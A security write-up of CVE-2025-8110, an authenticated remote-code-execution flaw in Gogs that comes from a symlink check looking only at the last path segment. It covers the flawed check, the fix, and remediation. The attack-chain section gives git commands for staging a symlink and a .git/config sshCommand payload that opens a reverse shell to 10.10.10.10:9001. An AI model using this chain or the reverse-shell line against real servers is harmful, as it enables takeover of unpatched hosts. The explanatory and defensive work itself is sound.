Feb 18, 2026·6 min read·10 visits
Authenticated RCE in Gogs ≤ 0.13.3 via path traversal. Attackers can upload a symlink pointing to sensitive system directories and then use the built-in file editor API to write through that link, bypassing security checks that only validated the final file path. Patch available in 0.14.0.
A critical Remote Code Execution (RCE) vulnerability in Gogs, a popular self-hosted Git service, allows authenticated users to execute arbitrary commands on the server. This flaw, tracked as CVE-2025-8110, is a classic case of 'patching the symptom, not the disease.' It serves as a trivial bypass to a previous fix (CVE-2024-55947) by exploiting a logical error in how the application handles symbolic links during file operations. By crafting a repository with a malicious symlink structure, an attacker can trick the server into overwriting sensitive configuration files—such as `.git/config` or SSH authorized keys—leading to full system compromise. The vulnerability is currently listed in the CISA KEV catalog, indicating active exploitation in the wild.
Gogs (Go Git Service) has long been the darling of the self-hosted developer community. It is lightweight, compiled into a single binary, and runs on a Raspberry Pi just as well as it runs on an AWS EC2 instance. It’s the 'set it and forget it' alternative to GitLab's resource-hungry omnibus. But as with many projects that prioritize simplicity and speed, security boundaries can sometimes get a little... blurry.
This specific vulnerability targets the Repository Editor, a convenience feature that allows users to create, edit, and delete files directly within the web interface. While handy for fixing a typo in a README.md, this feature effectively gives a web user write access to the server's filesystem. The developers knew this was dangerous, so they built a sandbox. The problem? Building a filesystem sandbox in userspace is like trying to hold water in your hands—eventually, something is going to leak through the fingers.
CVE-2025-8110 isn't just a bug; it's a testament to the difficulty of sanitizing file paths. It is a direct bypass of a previous attempt to fix the exact same issue (CVE-2024-55947), proving once again that 'fixing' a vulnerability without understanding the root cause is just setting the stage for the sequel.
To understand this exploit, you have to understand how Gogs tried to protect itself. When a user sends a request to edit a file, the server constructs the path and attempts to verify that the file belongs to the repository. After the previous vulnerability (CVE-2024-55947), the developers added a check: osutil.IsSymlink(filePath). If the file you were trying to edit was a symbolic link, the server would say 'Nice try' and block the request.
This sounds logical, right? If I try to edit malicious_link, and malicious_link points to /etc/passwd, the server sees it's a link and stops me. But here is the fatal flaw: The check was non-recursive.
The code only looked at the last element of the path (the leaf node). It completely ignored the directory structure leading up to that file. If I create a directory structure where the parent is the symlink, but the child is a regular file, the check passes.
Imagine I create a symlink named stealth that points to the .git directory. Then, I tell the Gogs API: 'Hey, I want to write to stealth/config'. The server looks at config. Is config a symlink? No, it's a real file inside the .git directory. The server says 'Looks good to me!' and writes the data. The server failed to realize that we traversed a wormhole (the stealth symlink) to get there.
Let's look at the smoking gun in internal/database/repo_editor.go. The vulnerable implementation relied on a superficial check that failed to account for the path hierarchy.
The Vulnerable Logic:
// Pseudocode representation of the flaw
func UpdateRepoFile(repo *Repository, filePath string, ...) {
// The check only inspects the final segment
if osutil.IsSymlink(filePath) {
return ErrIsSymlink
}
// Proceed to overwrite the file
os.WriteFile(filePath, content)
}Because osutil.IsSymlink checks the metadata of the specific path string provided, it returns false if filePath resolves to a regular file, even if the path traversed a symlink to get there. The fix, introduced in commit 553707f, forces the application to walk the entire directory tree.
The Fix (Commit 553707f):
func hasSymlinkInPath(base, relPath string) bool {
parts := strings.Split(filepath.ToSlash(relPath), "/")
// Walk every segment of the path
for i := range parts {
filePath := path.Join(append([]string{base}, parts[:i+1]...)...)
// Check if ANY part of the path is a symlink
if osutil.IsSymlink(filePath) {
return true
}
}
return false
}This new function hasSymlinkInPath is the digital equivalent of checking every door in a hallway, rather than just checking if the room at the end is locked. It splits the path into components and validates that a, a/b, and a/b/c are all safe before allowing a write to a/b/c/d.
So we can write files anywhere the Gogs user has access. How do we turn that into a shell? The most reliable method is poisoning the git configuration of the repository itself. Since Gogs constantly performs git operations on the server side (fetches, diffs, commits), we can set a trap that triggers the next time the server blinks.
The Attack Chain:
Stage the Symlink: Create a git repository locally. Create a symlink named link pointing to .git. Commit and push this to the Gogs server.
ln -s .git link
git add link
git commit -m "Nothing to see here"
git pushTrigger the Bypass: Use the Gogs API (specifically the PutContents endpoint) to write to link/config. The server sees link/config (not a symlink) and allows the write.
Inject the Payload: We overwrite .git/config with a malicious sshCommand. This directive tells git: "When you need to use SSH, don't use /usr/bin/ssh. Use this script instead."
[core]
repositoryformatversion = 0
filemode = true
bare = true
# The payload
sshCommand = sh -c 'sh -i >& /dev/tcp/10.10.10.10/9001 0>&1'Execution: The next time Gogs attempts to fetch a remote or perform an action that triggers a git command invokation reading that config, our shell pops. Alternatively, if we can hit the ~/.ssh/authorized_keys of the user running Gogs (often just git), we can simply SSH in as that user directly.
The mitigation for this is binary: you are either vulnerable, or you update. There are no clean configuration workarounds because the vulnerability lies in the core logic of how the application handles file paths.
Remediation Steps:
hasSymlinkInPath) that neutralizes the attack vector..git/config files in your repositories for sshCommand or proxy directives that look suspicious. Check ~/.ssh/authorized_keys for unknown keys.PUT, POST, and DELETE requests to /api/v1/repos/*/contents/*. This effectively disables the web editor API, which breaks functionality but stops the exploit vector.This vulnerability is currently in the CISA Known Exploited Vulnerabilities (KEV) catalog, which means federal agencies (and smart civilians) have a strict deadline to patch. Don't be the admin explaining why you got owned by a symlink in 2026.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
Gogs Gogs | <= 0.13.3 | 0.14.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-22 (Path Traversal) |
| CVSS v3.1 | 8.8 (High) |
| Attack Vector | Network (Authenticated) |
| Privileges Required | Low (Any user with repo write access) |
| Exploit Status | Active / Weaponized |
| EPSS Score | 25.85% (96th Percentile) |
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')